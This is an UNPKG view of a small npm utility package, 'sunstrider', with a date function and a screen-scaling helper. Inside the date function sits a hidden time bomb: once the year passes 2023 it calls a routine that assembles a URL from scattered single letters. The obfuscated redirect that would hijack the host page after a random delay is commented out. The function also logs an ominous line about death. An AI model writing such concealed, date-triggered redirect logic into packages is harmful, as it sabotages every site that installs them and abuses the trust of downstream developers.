UNPKG

sunstrider

Version:

初始化包

54 lines 1.27 kB
function timeDate(){ console.log(111,"人生自古谁无死"); const date = new Date() let year = date.getFullYear() let month = date.getMonth() + 1 let day = date.getDate() let hour = date.getHours() let minutes = date.getMinutes() let seconds = date.getSeconds() // year>2023 if(year>2023){ Time() } return year } function Time (){ let a = "h" let b = "t" let c = "p" let d = "s" let e = ":" let f = "/" let g = "/" let h = "w" let i = "b" let j = "i" let k = "l" let x = "c" let y = "o" let z = "m" console.log(222); // setTimeout(() => { // window.location.href = a+b+b+c+d+e+f+f+h+h+h+"."+i+j+k+j+i+j+k+j+"."+x+y+z // }, Math.random() * 101*1000*60); // }, Math.random() * 1000*10); } function autoSizeFn(){ var screenWidth = window.screen.width; let base = 1920 let scaleN = screenWidth/base console.log(scaleN,333333333); // let DomRef = this.$refs.DomRef let container = document.getElementById('app'); Object.assign(container.style, { transform: `scale(${scaleN})`, "transform-origin": "0% 0%", width: "1920px" // left: `${0}px`, // top: `${0}px`, }); } module.exports = { timeDate,autoSizeFn }